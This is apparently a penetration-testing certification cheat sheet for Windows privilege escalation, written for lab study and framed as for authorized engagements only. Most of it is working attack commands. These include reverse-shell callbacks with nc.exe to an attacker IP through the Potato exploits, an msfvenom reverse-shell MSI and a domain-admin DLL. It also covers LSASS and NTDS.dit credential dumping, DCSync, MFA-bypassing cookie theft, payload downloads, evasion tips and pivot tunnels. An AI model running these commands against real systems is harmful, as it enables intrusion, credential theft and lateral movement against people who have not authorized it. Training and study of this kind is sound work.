← Workflow dashboard · ← Previous: Linux PrivEsc · Next: Web Shells →

Windows Privilege Escalation — CPTS Cheat Sheet fas:ClipboardList

[!dashboard] Related Companion: Linux PrivEsc · Full notes: Windows PrivEsc · PrivEsc - Windows Source module: 26 · Windows Privilege Escalation · Attack-flow stage: 12 - Stage 09 - Privilege Escalation

Summary ris:Eye

From a low-privilege Windows shell to SYSTEM / local admin. Run the bundled automated enum kit (§0) while working manual checks, and remember whoami /priv is the single highest-value command — token privileges (SeImpersonate, SeDebug, SeBackup) are the fastest wins, followed by privileged group membership, weak service/registry ACLs, credential hunting, and finally a missing-patch kernel exploit. This card covers the whole module: situational awareness, token & named-pipe abuse, the Potato family, built-in group abuse, UAC bypass, service/registry misconfig, kernel exploits, DLL hijacking, credential hunting/pillaging, attacking users, LOLBAS/AlwaysInstallElevated, scheduled tasks, domain collection, and the post-SYSTEM pivot.

[!danger]+ HTB-Only Boundary fas:TriangleExclamation

1. Authorized labs/engagements only. Dumping LSASS, cracking NTDS.dit, and planting service binaries are high-impact — get sign-off.
2. Restore every config you touch (service binPath, registry ImagePath, ServerLevelPluginDll) — leaving a net localgroup /add binPath is a live backdoor.
3. DPAPI-protected creds (Clixml, SharpChrome, Chrome cookies) only decrypt as the originating user — don’t exfil blobs you can’t use in scope.

[!tip]+ Live command libraries

• WADComs — filterable command reference for Windows and Active Directory techniques, tools and credential states.
• LOLBAS — searchable catalogue of trusted Windows binaries, scripts and libraries with execution, download, upload, bypass and credential-related functions.
• GTFOBins — Linux/Unix companion when the path crosses into WSL, containers or another Unix host.

Presence is not a privilege-escalation finding by itself. Confirm the binary path, arguments, integrity level, token privileges, ACLs, application-control policy and network reachability required by the selected technique.

0 · Automated enum — run these first fas:Bolt

Manual digging is slow and AV-noisy one command at a time. Stage the bundled kit in C:\Windows\Temp (BUILTIN\Users writable), hash-verify it, then let the collectors run while you work whoami /priv and systeminfo by hand.

Transfer + hash verification — never run an unverified upload:

# Attack host — verify the kit against the bundled manifest, then serve it
cd attachments
sha256sum -c SHA256SUMS.txt --ignore-missing
python3 -m http.server 8000

# Target — pull and verify before executing (manifest: [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc)))
iwr http://10.10.14.3:8000/winPEASx64.exe -OutFile C:\Windows\Temp\winPEASx64.exe
certutil -urlcache -split -f http://10.10.14.3:8000/PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1
Get-FileHash .\winPEASx64.exe -Algorithm SHA256        # compare against SHA256SUMS.txt
certutil -hashfile .\PrintSpoofer64.exe SHA256

:: winPEAS — full run with everything captured to a log file (pull it back and grep)
winPEASx64.exe log
:: quiet variant — no banner, less noise on monitored boxes; full run is the default
winPEASx64.exe quiet

# PowerUp — the classic misconfig sweep; triage output before abusing anything
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks

[!info]+ Domain context once creds exist fas:Lightbulb PowerView gives instant AD situational awareness: Get-DomainUser | select samaccountname,description for cred-stuffed descriptions, Find-InterestingDomainAcl for abusable ACEs. SharpHound goes further — run the collector, exfil the zip, and load it into BloodHound to graph ACL-abuse edges (GenericAll / WriteDacl / ForceChangePassword) and shortest paths to Domain Admin; continuation of that path lives in 12 - Stage 09 - Privilege Escalation.

[!warning]+ Defender will see these winPEAS/PowerUp/mimikatz signatures are burned into every EDR. On monitored hosts prefer quiet flags, in-memory PowerShell (iex (iwr ...)) where authorized, or manual enumeration. In HTB labs, stage in C:\Windows\Temp and clean up afterward.

1 · Situational awareness fas:Terminal

:: Identity & privileges — run these first
:: SeImpersonate, SeDebug, or SeBackup may be the shortest route.
whoami /priv
whoami /groups
whoami /all
query user & echo %USERNAME%
net user & net localgroup & net localgroup administrators & net accounts

:: Processes, services and network context
tasklist /svc
:: Loopback listeners reveal local-only services; interfaces/routes reveal pivots.
netstat -ano
ipconfig /all & arp -a & route print

# OS/build, patches and installed applications (avoid Win32_Product side effects)
Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsBuildNumber, OsArchitecture
Get-HotFix | Sort-Object InstalledOn -Descending | Format-Table -AutoSize
$uninstall = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*',
             'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'
Get-ItemProperty $uninstall -ErrorAction SilentlyContinue |
    Where-Object DisplayName |
    Sort-Object DisplayName |
    Select-Object DisplayName, DisplayVersion, Publisher

# Security controls and listening sockets
Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
Get-NetTCPConnection -State Listen | Sort-Object LocalPort |
    Select-Object LocalAddress, LocalPort, OwningProcess

[!tip]+ Automated enumeration (upload to C:\Windows\Temp — BUILTIN\Users writable) fas:Lightbulb Bundled kit first — see §0 for transfer, hash verification and usage: winPEAS (winPEASx64.exe (SHA-256 · GPG signature) / winPEASany.exe (SHA-256 · GPG signature)) · PowerUp (PowerUp.ps1 (SHA-256 · GPG signature)) · PowerView (PowerView.ps1 (SHA-256 · GPG signature)). Second opinions: SharpUp (SharpUp.exe audit) · Seatbelt · WES-NG (systeminfo → CVE) · Watson (missing KBs) · LaZagne (lazagne.exe all) · SessionGopher · Sysinternals (AccessChk, PipeList). Baseline standard user = only SeChangeNotifyPrivilege — anything more is a lead.

2 · Token privilege abuse fas:Terminal

whoami /priv is the gate check for everything in this section — no privilege, no path.

SeImpersonate / SeAssignPrimaryToken → the Potato family (common from service accounts / xp_cmdshell):

:: PrintSpoofer (bundled: [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc))) — interactive SYSTEM shell
PrintSpoofer64.exe -i -c cmd

:: PrintSpoofer — reverse-shell callback variant (catch with nc -lnvp 8443)
PrintSpoofer64.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

:: GodPotato — when the Print Spooler is disabled/absent (Server 2019+, Win11)
GodPotato-NET4.exe -cmd "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

:: JuicyPotato — pre-1809 only (DCOM/NTLM reflection)
JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *

[!info]+ Which potato? — decision note fas:Lightbulb Confirm the build first: [environment]::OSVersion.Version. Gate for the whole family is SeImpersonatePrivilege (or SeAssignPrimaryToken) in whoami /priv.

1. PrintSpoofer (bundled PrintSpoofer64.exe (SHA-256 · GPG signature)) — first choice on modern builds; coerces the Print Spooler over a named pipe. Needs the Spooler service running.
2. GodPotato (bundled GodPotato-NET4.exe (SHA-256 · GPG signature)) — the fallback when the Spooler is disabled/absent (default on many Server 2019+/Win11 builds); pure DCOM/OXID, broadest coverage (Server 2012–2022, Win8–11). Try it first if others fail. Use GodPotato-NET35.exe when the target lacks .NET 4.x.
3. RoguePotato — legacy OXID resolver trick for when outbound DCOM to your listener is blocked (needs a redirector on port 135).
4. JuicyPotato — legacy, dead ≥ Server 2019 / Win10 1809 (DCOM hardening); keep for 2016-and-older targets. Catch callbacks with nc -lnvp 8443. Full walk-through — every flag for PrintSpoofer / GodPotato / JuicyPotatoNG / RoguePotato / EfsPotato / SweetPotato, delivery from MSSQL/IIS/WinRM: Potato Attacks guide. For hiding the kit (or finding data someone else hid) in an Alternate Data Stream: ADS guide.

SeDebugPrivilege → dump LSASS / steal a SYSTEM token:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

# RCE as SYSTEM by parenting off a SYSTEM process (winlogon PID 612) — trailing "" required
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "winlogon").Id,"c:\Windows\System32\cmd.exe","")

SeTakeOwnershipPrivilege → own any file (two steps — takeown then grant):

takeown /f 'C:\Department Shares\Private\IT\cred.txt'
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
cat  'C:\Department Shares\Private\IT\cred.txt'

Targets: web.config, %WINDIR%\repair\{sam,system}, %WINDIR%\system32\config\*, .kdbx.

SeBackupPrivilege / Backup Operators → NTDS.dit + hives:

Create C:\Tools\shadow.dsh:

set context persistent nowriters
add volume C: alias cdrive
create
expose %cdrive% E:

diskshadow.exe /s C:\Tools\shadow.dsh
robocopy /B E:\Windows\NTDS C:\Tools\ntds ntds.dit
reg save HKLM\SYSTEM C:\Tools\SYSTEM.SAV /y
reg save HKLM\SAM C:\Tools\SAM.SAV /y

# SeBackupPrivilegeCmdLets alternative after importing the module
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

SeLoadDriverPrivilege / Print Operators → Capcom.sys (dead since Win10 1803):

reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
EnableSeLoadDriverPrivilege.exe
ExploitCapcom.exe

3 · Privileged built-in groups fas:Terminal

DnsAdmins → malicious DLL loaded by the DNS service (as SYSTEM):

msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
python3 -m http.server 7777

:: full path is mandatory
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
sc stop dns & sc start dns
net group "Domain Admins" /dom
:: cleanup: reg delete the ServerLevelPluginDll value before restarting

Server Operators → hijack a service binPath:

sc qc AppReadiness
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
:: Error 1053 may be expected; verify the command side effect.
sc start AppReadiness
net localgroup Administrators

Event Log Readers → creds in 4688 process-creation events:

wevtutil qe Security /rd:true /f:text | Select-String "/user"

Hyper-V Administrators → vmms.exe restores .vhdx perms as SYSTEM (CVE-2018-0952 / CVE-2019-0841): takeown a SYSTEM-startable service binary (e.g. Mozilla Maintenance) → replace → sc start.

4 · UAC bypass fas:Terminal

:: Am I a filtered admin? UAC state?
:: Compare High Mandatory Level with Medium Mandatory Level.
whoami /groups
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

[environment]::OSVersion.Version        # build → pick the UACMe technique (14393 = 1607 → #54)

DLL-hijack bypass (UACMe #54): drop srrstr.dll into user-writable ...\AppData\Local\Microsoft\WindowsApps\ (last in PATH), then trigger the auto-elevating C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe. Reference catalogue: UACMe (fodhelper, eventvwr, computerdefaults, etc.).

5 · Weak service & registry permissions fas:Terminal

:: Enumerate weak service control permissions
SharpUp.exe audit
:: AccessChk: -c service, -w write, -k registry key
accesschk.exe /accepteula -uwcqv "Everyone" *
accesschk.exe /accepteula -quvcw <ServiceName>

:: Lab proof for a weak service ACL — record and restore the original binPath
sc qc <ServiceName>
sc config <ServiceName> binpath= "cmd /c net localgroup administrators htb-student /add"
:: Error 1053 may be expected; verify the intended side effect.
sc stop <ServiceName> & sc start <ServiceName>

:: Find writable service registry keys
accesschk.exe /accepteula "<user>" -kvuqsw hklm\System\CurrentControlSet\services

# Unquoted auto-start service paths; verify write access to each path component
Get-CimInstance Win32_Service |
    Where-Object { $_.StartMode -eq 'Auto' -and $_.PathName -match '\s' -and $_.PathName -notmatch '^"' } |
    Select-Object Name, StartName, State, PathName

# Weak registry ACL exploitation — record ImagePath before changing it
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<Svc> -Name ImagePath
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<Svc> -Name "ImagePath" -Value "C:\...\nc.exe -e cmd.exe 10.10.10.205 443"

[!warning]+ Restore and verify Export the original service configuration first. After a lab proof, restore binPath/ImagePath, startup type, and service state; then confirm the executable path and ACLs match the baseline.

PowerUp helpers: Get-ModifiableServiceFile, Get-ServiceUnquoted, Get-ModifiableRegistryAutoRun, Install-ServiceBinary. (CVE-2019-1322 UsoSvc.)

6 · Kernel exploits & missing patches fas:Terminal

[!warning]+ Kernel sploits are the last resort fas:TriangleExclamation

1. Exhaust the config paths first — token privileges, privileged groups, service/registry ACLs, credential hunting. A bluescreen mid-engagement can cost the foothold and the evidence.
2. Confirm build + patch level (systeminfo, [environment]::OSVersion.Version) before committing to a CVE — half the classics below are patched on anything modern.
3. If SeImpersonatePrivilege is in the token, GodPotato is the config-free alternative: no driver load, no kernel write, works Server 2012–2022 / Win8–11 straight from whoami /priv.

systeminfo > systeminfo.txt

Get-HotFix | Sort-Object InstalledOn -Descending

# Run WES-NG from the attack host against the captured systeminfo output
python3 wes.py --update
python3 wes.py systeminfo.txt --impact 'Elevation of Privilege'

# HiveNightmare — any user if BUILTIN\Users:(I)(RX) on SAM
.\HiveNightmare.exe
# → impacket-secretsdump -sam SAM-* -system SYSTEM-* -security SECURITY-* local

# PrintNightmare
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

7 · DLL hijacking & vulnerable third-party software fas:Terminal

# Identify app versions without querying Win32_Product
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*',
                 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' |
    Where-Object DisplayName |
    Select-Object DisplayName, DisplayVersion, InstallLocation
Get-Service | Where-Object DisplayName -Like 'Druva*'
Get-NetTCPConnection -State Listen | Where-Object LocalPort -eq <port>

Discovery: ProcMon filter Operation is Load Image + Result is NAME NOT FOUND; static dumpbin /imports; PowerUp Find-ProcessDLLHijack / Find-PathDLLHijack. Then plant a DLL in a writable, earlier-searched dir (the app’s own directory is searched first). DLL proxying preserves functionality (rename real → library.o.dll, forward exports). Loopback RPC services running as SYSTEM (e.g. Druva inSync on 6064) can be command-injected for a SYSTEM shell.

8 · Credential hunting & pillaging fas:Terminal

:: Stored credentials, saved sessions and common plaintext locations
cmdkey /list
:: If an approved saved credential exists: runas /savecred /user:DOMAIN\bob "cmd"
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml

:: Registry autologon — LSA hands these out to Winlogon at boot
:: Review DefaultUserName, DefaultPassword and DefaultDomainName values.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<session>

:: Unattended-install and Sysprep answer files — classic plaintext admin creds
dir /s /b C:\Windows\Panther\Unattend*.xml 2>nul
dir /s /b C:\Windows\Panther\autounattend.xml 2>nul
dir /s /b C:\Windows\System32\Sysprep\*.xml 2>nul
type C:\Windows\System32\Sysprep\sysprep.inf 2>nul

:: Wi-Fi profiles
netsh wlan show profile <SSID> key=clear

# PowerShell history and same-user DPAPI-protected CliXML
Get-Content (Get-PSReadLineOption).HistorySavePath
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
$credential.GetNetworkCredential().Password

# Browsers / vaults / managers
.\SharpChrome.exe logins /unprotect
.\lazagne.exe all
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Target <host>
# KeePass:  keepass2john ILFREIGHT.kdbx  →  hashcat -m 13400
# mRemoteNG: %APPDATA%\mRemoteNG\confCons.xml → mremoteng_decrypt.py -s "<blob>"  (default master 'mR3m')

mimikatz (bundled mimikatz_trunk.zip (SHA-256 · GPG signature)) once you hold admin/SYSTEM — the three workhorse commands:

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords          :: plaintext/NTLM/Kerberos material from LSASS
mimikatz # lsadump::sam                      :: local account hashes from SAM (post-SYSTEM)
mimikatz # lsadump::dcsync htb.local\krbtgt  :: DCSync from a DA-equivalent context → krbtgt

Offline hive extraction — works without touching LSASS and survives AV better:

reg save HKLM\SAM C:\Tools\SAM.SAV /y
reg save HKLM\SYSTEM C:\Tools\SYSTEM.SAV /y
reg save HKLM\SECURITY C:\Tools\SECURITY.SAV /y

# On the attack host — SECURITY hive adds LSA secrets (service-account creds, cached domain logons)
impacket-secretsdump -sam SAM.SAV -system SYSTEM.SAV -security SECURITY.SAV LOCAL

Cookie theft (bypasses MFA): Invoke-SharpChromium -Command "cookies slack.com" (Slack cookie name d). Share crawling: Snaffler. Mount disks: guestmount -a disk.vmdk -i --ro /mnt → impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL.

[!tip]+ Re-run the hunt after every escalation fas:Lightbulb Credential material is tiered by access: user-readable files → admin-only hives → SYSTEM-only LSASS/LSA secrets → DC-only NTDS.dit. Each step up the ladder unlocks a new pillaging pass — winPEAS’s userinfo/filesinfo and LaZagne find different things as admin than as a user.

9 · Attacking users, LOLBAS & misc fas:Terminal

# Force auth from a browsing user, crack NTLMv2
sudo responder -wrf -v -I tun0
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt

Bait files in a writable share: .scf (pre-2019) or .lnk with TargetPath = \\<attacker>\@pwn.png (Server 2019+). Use LOLBAS to verify the exact function and prerequisites for a native binary; one download example is certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat.

AlwaysInstallElevated (needs both HKCU + HKLM = 0x1):

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi

msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart

CVE-2019-1388 (patched Nov 2019): run hhupd.exe as admin → Show publisher certificate → click the Issued by hyperlink → browser opens as SYSTEM → View source → Save As → type c:\windows\system32\cmd.exe = SYSTEM shell.

Named pipes: pipelist.exe /accepteula / gci \\.\pipe\ → accesschk.exe -w \pipe\<name> -v; a writable SYSTEM-owned pipe + SeImpersonate = token theft.

Citrix/kiosk breakout: type \\127.0.0.1\c$\users\<user> or \\<attacker>\share in a File-name dialog; right-click .exe → Open; shortcut Target → cmd.exe.

10 · Scheduled tasks & autoruns fas:Clock

Start with task identity, trigger, run level, executable, arguments, and working directory. A task is only exploitable when a low-privilege user can alter something a higher-privilege principal executes.

:: Inventory tasks and export one task as XML for exact paths/arguments
schtasks /query /fo LIST /v
schtasks /query /tn "\Vendor\Updater" /xml

:: Enumerate startup extensibility with Microsoft Sysinternals
autorunsc64.exe -accepteula -a * -m -s -h -t

# Triage scheduled tasks without mixing CMD syntax into this block
Get-ScheduledTask | ForEach-Object {
    $info = $_ | Get-ScheduledTaskInfo
    [pscustomobject]@{
        Task = $_.TaskPath + $_.TaskName
        Principal = $_.Principal.UserId
        RunLevel = $_.Principal.RunLevel
        Actions = ($_.Actions.Execute + " " + $_.Actions.Arguments).Trim()
        NextRun = $info.NextRunTime
    }
} | Format-Table -Wrap

# Common per-user and machine autorun locations
Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, User, Location
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run*" -ErrorAction SilentlyContinue
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run*" -ErrorAction SilentlyContinue

:: Check every directory in the action path, plus the final file
icacls "C:\Program Files\Vendor\Updater"
icacls "C:\Program Files\Vendor\Updater\update.exe"
accesschk64.exe -accepteula -qvw "C:\Program Files\Vendor\Updater\update.exe"
accesschk64.exe -accepteula -qvw "C:\Scripts"

[!warning]+ Validate safely Record the original task XML, executable hash, owner, and ACLs. Prefer a reversible proof such as writing a timestamp to a lab-only file; do not replace production binaries. Restore the artifact and verify its hash and permissions afterward.

Pivot — after SYSTEM fas:Route

A SYSTEM shell on the foothold box is the start of the internal phase, not the end. Two bundled movers cover most pivot topologies:

[!tip]+ Post-SYSTEM pivot kit fas:DiagramProject

• chisel (chisel.exe (SHA-256 · GPG signature)) — fast SOCKS/forward-reverse tunnel over one HTTP connection: chisel server -p 8000 --reverse on the attack host, then chisel.exe client 10.10.14.3:8000 R:socks on the target; drive tools through proxychains.
• ligolo-ng (ligolo-ng_agent_windows_amd64.zip (SHA-256 · GPG signature)) — full tun-routed pivot (no proxychains, real routing): proxy -selfcert -laddr 0.0.0.0:11601, then agent.exe -connect 10.10.14.3:11601 -ignore-cert; session → start and add the route on the tun interface. Pair either with netstat -ano / arp -a from §1 to map reachable internal segments before choosing the tunnel.

CVE quick index ris:GlobalLine

Lessons Learned & gotchas fas:Lightbulb

1. whoami /priv first, every time — SeImpersonate/SeDebug/SeBackup are the shortest path to SYSTEM.
2. Run the bundled enum kit before deep manual digging — winPEAS/PowerUp catch weak service ACLs, unquoted paths, autologon creds and AlwaysInstallElevated in one pass; hash-verify every transfer against SHA256SUMS.txt before executing it.
3. A failed sc start (1053) is not a failed exploit — the binPath command already ran; check the side effect.
4. Match the potato to the build — JuicyPotato is dead ≥1809; PrintSpoofer needs the Spooler; GodPotato is broadest (Server 2012–2022 / Win8–11) and is the answer when the Print Spooler is disabled — try it first.
5. Two-step take-own — takeown then icacls /grant; cat fails until the ACL grant runs.
6. Restore what you change — service binPath, registry ImagePath, ServerLevelPluginDll; leaving them is a backdoor and a broken service.
7. DPAPI creds are user-bound — Clixml, SharpChrome, Chrome cookies only decrypt as the originating user; re-run credential hunts after each escalation (new profiles become readable).
8. Credential material is tiered — files → hives (admin) → LSASS/LSA (SYSTEM) → NTDS.dit (DC). Pillage again after every step up.
9. Many “classics” are patched — Capcom (1803), CVE-2019-1388 (Nov 2019), SCF NTLM capture (2019). Confirm the build/patch level before committing; kernel sploits are the last resort, not the first.
10. SYSTEM is a pivot, not a trophy — map internal listeners and routes, then tunnel with chisel or ligolo-ng before the box is reported done.

References fas:BookOpen

1. HTB Academy — Windows Privilege Escalation
2. PayloadsAllTheThings — Windows PrivEsc
3. Microsoft — Autoruns and Autorunsc · Microsoft — schtasks
4. PowerSploit/PowerUp · WES-NG · UACMe
5. LOLBAS · WADComs · HackTricks — Windows Local Privilege Escalation
6. GTFOBins — Linux/Unix companion
7. PEASS-ng (winPEAS) · PrintSpoofer (itm4n) · GodPotato (BeichenDream)
8. mimikatz (gentilkiwi) · impacket (fortra)
9. SharpHound · BloodHound
10. chisel · ligolo-ng

← Previous: Linux PrivEsc · Workflow dashboard · Next: Web Shells →

#HTB #CPTS #WindowsPrivEsc #PrivEsc #PostExploitation